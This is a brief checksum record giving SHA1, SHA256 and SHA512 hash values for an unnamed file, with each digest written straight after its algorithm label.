SHA14c8c6f8aa19d5891b1f9dc6c2a8d2954e1cb8c8f
SHA256691aef6634703335999b9f5857c1a83141abc8dbd7e93716b0758d1ba18cfdfb
SHA51252c69022681f98c9491d5bea5904b3ac319527cdc2a6a0157fb825eb218ad9a120870efa5ea9d89b6326902056a8751d238fbac9ab2ae09755618213b3276978